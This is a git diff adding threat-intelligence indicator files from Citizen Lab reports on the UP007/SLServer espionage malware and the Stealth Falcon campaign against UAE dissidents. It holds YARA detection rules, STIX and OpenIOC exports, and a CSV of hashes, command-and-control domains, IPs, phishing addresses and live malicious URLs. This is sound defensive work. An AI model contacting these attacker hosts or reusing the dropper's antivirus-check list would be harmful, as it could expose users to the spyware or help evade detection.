//MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + all of ($reg*) +} + +rule dubseven_dropper_dialog_remains +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for related dialog remnants. How rude." + + strings: + $dia1 = "fuckMessageBox 1.0" wide + $dia2 = "Rundll 1.0" wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + any of them +} + + +rule maindll_mutex +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches on the maindll mutex" + + strings: + $mutex = "h31415927tttt" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $mutex +} + + +rule SLServer_dialog_remains +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for related dialog remnants." + + strings: + $slserver = "SLServer" wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $slserver +} + +rule SLServer_mutex +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for the mutex." + + strings: + $mutex = "M&GX^DSF&DA@F" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $mutex +} + +rule SLServer_command_and_control +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for the C2 server." + + strings: + $c2 = "safetyssl.security-centers.com" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $c2 +} + +rule SLServer_campaign_code +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for the related campaign code." + + strings: + $campaign = "wthkdoc0106" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $campaign +} + +rule SLServer_unknown_string +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for a unique string." + + strings: + $string = "test-b7fa835a39" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $string +} + + + diff --git a/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/stix.xml b/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/stix.xml new file mode 100644 index 0000000..685fa5b --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/stix.xml @@ -0,0 +1,982 @@ + + + Export from MISP + Threat Report + + + + + + Tracking UP007 and SLServer Espionage Campaigns (MISP Event #2) + Threat Report + + + + Payload type: UP007 (MISP Attribute #30) + + + + UP007 + + + + + + Payload type: SLServer (MISP Attribute #52) + + + + SLServer + + + + + + + + Tracking UP007 and SLServer Espionage Campaigns + 2 + + 2016-04-18T00:00:00+00:00 + 2016-11-10T15:57:11+00:00 + + Closed + + + Network activity + + Network activity: safetyssl.security-centers.com (MISP Attribute #45) + Malware Artifacts + Domain Watchlist + Network activity: safetyssl.security-centers.com (MISP Attribute #45) + + + + + safetyssl.security-centers.com + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: computer.security-centers.com (MISP Attribute #46) + Malware Artifacts + Domain Watchlist + Network activity: computer.security-centers.com (MISP Attribute #46) + + + + + computer.security-centers.com + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hkemail.f3322.org (MISP Attribute #47) + Malware Artifacts + Domain Watchlist + Network activity: hkemail.f3322.org (MISP Attribute #47) + + + + + hkemail.f3322.org + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.olinaodi.com (MISP Attribute #48) + Malware Artifacts + Domain Watchlist + Network activity: www.olinaodi.com (MISP Attribute #48) + + + + + www.olinaodi.com + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: tenday.mysecondarydns.com (MISP Attribute #49) + Malware Artifacts + Domain Watchlist + Network activity: tenday.mysecondarydns.com (MISP Attribute #49) + + + + + tenday.mysecondarydns.com + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 59.188.12.123 (MISP Attribute #50) + Malware Artifacts + IP Watchlist + Network activity: 59.188.12.123 (MISP Attribute #50) + + + + + 59.188.12.123 + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 210.61.12.153 (MISP Attribute #51) + Malware Artifacts + IP Watchlist + Network activity: 210.61.12.153 (MISP Attribute #51) + + + + + 210.61.12.153 + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: d579d7a42ff140952da57264614c37bc (MISP Attribute #31) + Malware Artifacts + File Hash Watchlist + Payload delivery: d579d7a42ff140952da57264614c37bc (MISP Attribute #31) + + + + + + + MD5 + d579d7a42ff140952da57264614c37bc + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: d8becbd6f188e3fb2c4d23a2d36d137b (MISP Attribute #32) + Malware Artifacts + File Hash Watchlist + Payload delivery: d8becbd6f188e3fb2c4d23a2d36d137b (MISP Attribute #32) + + + + + + + MD5 + d8becbd6f188e3fb2c4d23a2d36d137b + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 09ddd70517cb48a46d9f93644b29c72f (MISP Attribute #33) + Malware Artifacts + File Hash Watchlist + Payload delivery: 09ddd70517cb48a46d9f93644b29c72f (MISP Attribute #33) + + + + + + + MD5 + 09ddd70517cb48a46d9f93644b29c72f + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: f70b295c6a5121b918682310ce0c2165 (MISP Attribute #34) + Malware Artifacts + File Hash Watchlist + Payload delivery: f70b295c6a5121b918682310ce0c2165 (MISP Attribute #34) + + + + + + + MD5 + f70b295c6a5121b918682310ce0c2165 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: f80edbb0fcfe7cec17592f61a06e4df2 (MISP Attribute #35) + Malware Artifacts + File Hash Watchlist + Payload delivery: f80edbb0fcfe7cec17592f61a06e4df2 (MISP Attribute #35) + + + + + + + MD5 + f80edbb0fcfe7cec17592f61a06e4df2 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: d8ede9e6c3a1a30398b0b98130ee3b38 (MISP Attribute #36) + Malware Artifacts + File Hash Watchlist + Payload delivery: d8ede9e6c3a1a30398b0b98130ee3b38 (MISP Attribute #36) + + + + + + + MD5 + d8ede9e6c3a1a30398b0b98130ee3b38 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: ce8ec932be16b69ffa06626b3b423395 (MISP Attribute #37) + Malware Artifacts + File Hash Watchlist + Payload delivery: ce8ec932be16b69ffa06626b3b423395 (MISP Attribute #37) + + + + + + + MD5 + ce8ec932be16b69ffa06626b3b423395 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 6a541de84074a2c4ff99eb43252d9030 (MISP Attribute #38) + Malware Artifacts + File Hash Watchlist + Payload delivery: 6a541de84074a2c4ff99eb43252d9030 (MISP Attribute #38) + + + + + + + MD5 + 6a541de84074a2c4ff99eb43252d9030 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: e0eb981ad6be0bd16246d5d442028687 (MISP Attribute #39) + Malware Artifacts + File Hash Watchlist + Payload delivery: e0eb981ad6be0bd16246d5d442028687 (MISP Attribute #39) + + + + + + + MD5 + e0eb981ad6be0bd16246d5d442028687 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 639c7239f40d95f677a99abb059e8338 (MISP Attribute #40) + Malware Artifacts + File Hash Watchlist + Payload delivery: 639c7239f40d95f677a99abb059e8338 (MISP Attribute #40) + + + + + + + MD5 + 639c7239f40d95f677a99abb059e8338 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: d07b2738840ce3419df651d3a0a3a246 (MISP Attribute #41) + Malware Artifacts + File Hash Watchlist + Payload delivery: d07b2738840ce3419df651d3a0a3a246 (MISP Attribute #41) + + + + + + + MD5 + d07b2738840ce3419df651d3a0a3a246 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 397021af7c0284c28db65297a6711235 (MISP Attribute #42) + Malware Artifacts + File Hash Watchlist + Payload delivery: 397021af7c0284c28db65297a6711235 (MISP Attribute #42) + + + + + + + MD5 + 397021af7c0284c28db65297a6711235 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: dc195d814ec16fe91690b7e949e696f6 (MISP Attribute #43) + Malware Artifacts + File Hash Watchlist + Payload delivery: dc195d814ec16fe91690b7e949e696f6 (MISP Attribute #43) + + + + + + + MD5 + dc195d814ec16fe91690b7e949e696f6 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: cfcd2a90e87156e1a811f9c7b0051002 (MISP Attribute #44) + Malware Artifacts + File Hash Watchlist + Payload delivery: cfcd2a90e87156e1a811f9c7b0051002 (MISP Attribute #44) + + + + + + + MD5 + cfcd2a90e87156e1a811f9c7b0051002 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Payload type + + + + Payload type + + + + + + Event Threat Level: High + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + MISP Tag: PUBLISHED + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule dubseven_file_set +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for service files loading UP007" + + strings: + $file1 = "\\Microsoft\\Internet Explorer\\conhost.exe" + $file2 = "\\Microsoft\\Internet Explorer\\dll2.xor" + $file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL" + $file4 = "\\Microsoft\\Internet Explorer\\main.dll" + $file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe" + $file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll" + $file7 = "\\Microsoft\\Internet Explorer\\mon" + $file8 = "\\Microsoft\\Internet Explorer\\runas.exe" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + //Just a few of these as they differ + 3 of ($file*) +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule dubseven_dropper_registry_checks +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for registry keys checked for by the dropper" + + strings: + $reg1 = "SOFTWARE\\360Safe\\Liveup" + $reg2 = "Software\\360safe" + $reg3 = "SOFTWARE\\kingsoft\\Antivirus" + $reg4 = "SOFTWARE\\Avira\\Avira Destop" + $reg5 = "SOFTWARE\\rising\\RAV" + $reg6 = "SOFTWARE\\JiangMin" + $reg7 = "SOFTWARE\\Micropoint\\Anti-Attack" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + all of ($reg*) +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule dubseven_dropper_dialog_remains +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for related dialog remnants. How rude." + + strings: + $dia1 = "fuckMessageBox 1.0" wide + $dia2 = "Rundll 1.0" wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + any of them +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule maindll_mutex +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches on the maindll mutex" + + strings: + $mutex = "h31415927tttt" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $mutex +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule SLServer_dialog_remains +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for related dialog remnants." + + strings: + $slserver = "SLServer" wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $slserver +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule SLServer_mutex +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for the mutex." + + strings: + $mutex = "M&GX^DSF&DA@F" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $mutex +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule SLServer_command_and_control +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for the C2 server." + + strings: + $c2 = "safetyssl.security-centers.com" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $c2 +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule SLServer_campaign_code +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for the related campaign code." + + strings: + $campaign = "wthkdoc0106" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $campaign +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule SLServer_unknown_string +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for a unique string." + + strings: + $string = "test-b7fa835a39" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $string +} + + + + + citizenlab + + + https://citizenlab.org/2016/04/between-hong-kong-and-burma/ + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/README.md b/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/README.md new file mode 100644 index 0000000..527d02b --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/README.md @@ -0,0 +1,8 @@ +## UAE Threat Actor IOCs + +This directory contains IOC from the Citizen Lab report ["Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents"](https://citizenlab.org/2016/05/stealth-falcon/) published the 29th of May 2016. + +Files included in this directory: +* openioc.ioc : IOCs in OpenIOC format +* stix.xml : IOCs in STIX XML format +* iocs.csv : IOCs in csv format diff --git a/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/iocs.csv b/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/iocs.csv new file mode 100644 index 0000000..d67b6a7 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/iocs.csv @@ -0,0 +1,35 @@ +uuid,event_id,category,type,value,comment,to_ids,date +007694f1-b73a-40a5-bcf5-dded27746669,8,Network activity,url,"http://aax.me/0b152","",0,20161108 +19e97c58-4992-4f0b-8f49-6a6378a289eb,8,Payload delivery,sha256,"4320204d577ef8b939115d16110e97ff04cb4f7d1e77ba5ce011d43f74abc7be","message_032456944343.docm",0,20161108 +280056b8-69aa-432c-9826-6d5b820eb44e,8,Payload delivery,email-src,"andrew.dwight389@outlook.com","The Case of the Fake Journalist",0,20161108 +35aa025c-2f62-4f9d-9fb7-391542226a7a,8,Network activity,domain,"optimizedimghosting.com","The document’s macro was identical to the one sent to Donaghy, except it reported back to, and downloaded Stage Two from a different URL",1,20161108 +3813bc78-21d9-40a2-b76e-61016eb71ccb,8,Network activity,domain,"adhostingcache.com","",1,20161108 +41c48554-6911-48eb-88a0-411dc4bd9047,8,Payload delivery,sha1,"1c3757006f972ca957d925accf8bbb3023550d1b","message_032456944343.docm",0,20161108 +45dbee97-3aa0-487d-bd73-a3c10a511403,8,Network activity,ip-dst,"95.215.44.37","IP linked to adhostingcache.com",0,20161108 +537df72e-b2b9-4016-b337-06930c42c455,8,Network activity,url,"http://goo.gl/60HAqJ","redirects to http://aax.me/0b152",0,20161108 +58224765-51f8-4d28-9040-49798e96ca05,8,Attribution,threat-actor,"Stealth Falcon","",0,20161108 +582247a8-11b4-4da0-9ca1-69fe8e96ca05,8,Payload delivery,domain,"aax.me","",1,20161108 +582247d0-d7a0-49c3-a6ae-69fe8e96ca05,8,Payload delivery,url,"http://aax.me/a6faa","Link sent in a phishing email",1,20161108 +582247f6-eeec-47b0-b6d8-69fe8e96ca05,8,Payload delivery,url,"https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate","ownCloud15 instance",0,20161108 +5822492e-087c-4fa8-afe1-49798e96ca05,8,Network activity,domain,"simpleadbanners.com","Domains linked to adhostingcache.com",0,20161108 +5822492e-1d40-4098-a87b-49798e96ca05,8,Network activity,domain,"clickstatistic.com","Domains linked to adhostingcache.com",0,20161108 +5822492e-7490-4c3f-9a10-49798e96ca05,8,Network activity,domain,"bestairlinepricetags.com","Domains linked to adhostingcache.com",0,20161108 +5822492e-d888-418e-906d-49798e96ca05,8,Network activity,domain,"fasttravelclearance.com","Domains linked to adhostingcache.com",0,20161108 +5822494d-792c-4d8c-9be0-49798e96ca05,8,Network activity,domain,"airlineadverts.com","Domain linked to incapsulawebcache.com",0,20161108 +5822494d-7ab0-42bd-bd9d-49798e96ca05,8,Network activity,domain,"ministrynewschannel.com","Domain linked to incapsulawebcache.com",0,20161108 +5822494d-bf14-4b41-803a-49798e96ca05,8,Network activity,domain,"ministrynewsinfo.com","Domain linked to incapsulawebcache.com",0,20161108 +62fcd7b4-5d95-49bd-a9ff-3c2e1854839b,8,Network activity,url,"http://optimizedimghosting.com/wddf/hrrw/ggrr.txt","The document’s macro was identical to the one sent to Donaghy, except it reported back to, and downloaded Stage Two from a different URL",0,20161108 +6c1856f6-0068-4c83-8aba-9fd4bb4277a1,8,Payload delivery,url,"http://aax.me/d0dde","loaded a page containing a redirect to the website of Al Jazeera. Before completing the redirect, it invoked JavaScript to profile the target’s computer.",0,20161108 +707eed9b-bb2c-4951-af0d-060b4c860e89,8,External analysis,link,"https://citizenlab.org/2016/05/stealth-falcon/","",0,20161108 +70881ae4-3da1-409e-8bd3-7f508092a2c9,8,Payload delivery,sha256,"5a372b45285fe6f3df3ba277ee2de55d4a30fc8ef05de729cf464103632db40f","right2fight.docm (malicious document)",0,20161108 +7fd6e683-9615-4f4e-b901-03e7dbb81337,8,Network activity,url,"https://incapsulawebcache.com/cache/cache.nfo","",0,20161108 +8010c934-027b-40c5-ba1e-3efca8e52d5a,8,Network activity,domain,"incapsulawebcache.com","stage two server",1,20161108 +8682a3ad-80da-4732-bf5a-e675e27c56fe,8,Network activity,domain,"edgecacheimagehosting.com","stage two server",1,20161108 +9ca61973-d717-496a-a158-82d9b2e37965,8,Payload delivery,md5,"87e1df6f36b96b56186444e37e2a1ef5","message_032456944343.docm",0,20161108 +bc8e2ca7-cd3c-4205-9028-b8b106f12389,8,Payload delivery,email-src,"the_right_to_fight@openmailbox.org","Fake invitation",0,20161108 +cd191e4e-a5a1-4009-93b7-92cc6a3d6984,8,Payload delivery,sha1,"f25466e4820404c817eaf75818b7177891735886","right2fight.docm (malicious document)",0,20161108 +d9a62cda-db4c-4d70-858c-6bbaaa041e63,8,Network activity,domain,"adhostingcaches.com","registered on December 3rd",1,20161108 +decfcbf1-1331-4624-88b7-a88c94637dd0,8,Network activity,url,"http://adhostingcache.com/ehhe/eh4g4/adcache.txt","Gathered information is returned to and the server’s response is executed as a PowerShell command.",0,20161108 +e8f3b924-1221-4d08-8fef-f689529a7b6d,8,Network activity,url,"http://aax.me/redirect.js","to profile a user’s system, perhaps to gather intelligence about potentially exploitable vulnerabilities.",0,20161108 +f0215c0c-b708-43d8-873e-80a3e8e54cfa,8,Network activity,url,"https://edgecacheimagehosting.com/images/image.nfo","The Stage Two in this case reported back to",0,20161108 +f4f40c31-dd17-4dc6-baa3-6beb35c04c00,8,Payload delivery,md5,"80e8ef78b9e28015cde4205aaa65da97","right2fight.docm (malicious document)",0,20161108 diff --git a/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/openioc.ioc b/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/openioc.ioc new file mode 100644 index 0000000..a635c3d --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/openioc.ioc @@ -0,0 +1,41 @@ + + + Event #8 + Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents + + citizenlab + 2016-05-29T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/stix.xml b/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/stix.xml new file mode 100644 index 0000000..4e32e04 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201605_Stealth_Falcon/stix.xml @@ -0,0 +1,844 @@ + + + Export from MISP + Threat Report + + + + + + Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents (MISP Event #8) + Threat Report + + + + Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents + 8 + + 2016-05-29T00:00:00+00:00 + 2016-11-08T16:56:19+00:00 + + Closed + + + Attribution + + Attribution: Stealth Falcon (MISP Attribute #1354) + Malware Artifacts + Attribution: Stealth Falcon (MISP Attribute #1354) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: simpleadbanners.com (MISP Attribute #1358) + Malware Artifacts + Domain Watchlist + Network activity: simpleadbanners.com (MISP Attribute #1358) + + + + + simpleadbanners.com + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: clickstatistic.com (MISP Attribute #1359) + Malware Artifacts + Domain Watchlist + Network activity: clickstatistic.com (MISP Attribute #1359) + + + + + clickstatistic.com + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: bestairlinepricetags.com (MISP Attribute #1360) + Malware Artifacts + Domain Watchlist + Network activity: bestairlinepricetags.com (MISP Attribute #1360) + + + + + bestairlinepricetags.com + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fasttravelclearance.com (MISP Attribute #1361) + Malware Artifacts + Domain Watchlist + Network activity: fasttravelclearance.com (MISP Attribute #1361) + + + + + fasttravelclearance.com + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: airlineadverts.com (MISP Attribute #1362) + Malware Artifacts + Domain Watchlist + Network activity: airlineadverts.com (MISP Attribute #1362) + + + + + airlineadverts.com + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ministrynewschannel.com (MISP Attribute #1363) + Malware Artifacts + Domain Watchlist + Network activity: ministrynewschannel.com (MISP Attribute #1363) + + + + + ministrynewschannel.com + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ministrynewsinfo.com (MISP Attribute #1364) + Malware Artifacts + Domain Watchlist + Network activity: ministrynewsinfo.com (MISP Attribute #1364) + + + + + ministrynewsinfo.com + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: adhostingcache.com (MISP Attribute #425) + Malware Artifacts + Domain Watchlist + Network activity: adhostingcache.com (MISP Attribute #425) + + + + + adhostingcache.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: adhostingcaches.com (MISP Attribute #426) + Malware Artifacts + Domain Watchlist + Network activity: adhostingcaches.com (MISP Attribute #426) + + + + + adhostingcaches.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: optimizedimghosting.com (MISP Attribute #427) + Malware Artifacts + Domain Watchlist + Network activity: optimizedimghosting.com (MISP Attribute #427) + + + + + optimizedimghosting.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: edgecacheimagehosting.com (MISP Attribute #428) + Malware Artifacts + Domain Watchlist + Network activity: edgecacheimagehosting.com (MISP Attribute #428) + + + + + edgecacheimagehosting.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: incapsulawebcache.com (MISP Attribute #429) + Malware Artifacts + Domain Watchlist + Network activity: incapsulawebcache.com (MISP Attribute #429) + + + + + incapsulawebcache.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 95.215.44.37 (MISP Attribute #430) + Malware Artifacts + IP Watchlist + Network activity: 95.215.44.37 (MISP Attribute #430) + + + + + 95.215.44.37 + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://adhostingcache.com/ehhe/eh4g4/adcache.txt (MISP Attribute #432) + Malware Artifacts + URL Watchlist + Network activity: http://adhostingcache.com/ehhe/eh4g4/adcache.txt (MISP Attribute #432) + + + + + http://adhostingcache.com/ehhe/eh4g4/adcache.txt + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://incapsulawebcache.com/cache/cache.nfo (MISP Attribute #433) + Malware Artifacts + URL Watchlist + Network activity: https://incapsulawebcache.com/cache/cache.nfo (MISP Attribute #433) + + + + + https://incapsulawebcache.com/cache/cache.nfo + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://aax.me/redirect.js (MISP Attribute #434) + Malware Artifacts + URL Watchlist + Network activity: http://aax.me/redirect.js (MISP Attribute #434) + + + + + http://aax.me/redirect.js + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://goo.gl/60HAqJ (MISP Attribute #435) + Malware Artifacts + URL Watchlist + Network activity: http://goo.gl/60HAqJ (MISP Attribute #435) + + + + + http://goo.gl/60HAqJ + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://aax.me/0b152 (MISP Attribute #436) + Malware Artifacts + URL Watchlist + Network activity: http://aax.me/0b152 (MISP Attribute #436) + + + + + http://aax.me/0b152 + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://optimizedimghosting.com/wddf/hrrw/ggrr.txt (MISP Attribute #437) + Malware Artifacts + URL Watchlist + Network activity: http://optimizedimghosting.com/wddf/hrrw/ggrr.txt (MISP Attribute #437) + + + + + http://optimizedimghosting.com/wddf/hrrw/ggrr.txt + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://edgecacheimagehosting.com/images/image.nfo (MISP Attribute #438) + Malware Artifacts + URL Watchlist + Network activity: https://edgecacheimagehosting.com/images/image.nfo (MISP Attribute #438) + + + + + https://edgecacheimagehosting.com/images/image.nfo + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: aax.me (MISP Attribute #1355) + Malware Artifacts + Domain Watchlist + Payload delivery: aax.me (MISP Attribute #1355) + + + + + aax.me + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: the_right_to_fight@openmailbox.org (MISP Attribute #439) + Malware Artifacts + Malicious E-mail + Payload delivery: the_right_to_fight@openmailbox.org (MISP Attribute #439) + + + + + + + the_right_to_fight@openmailbox.org + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: andrew.dwight389@outlook.com (MISP Attribute #440) + Malware Artifacts + Malicious E-mail + Payload 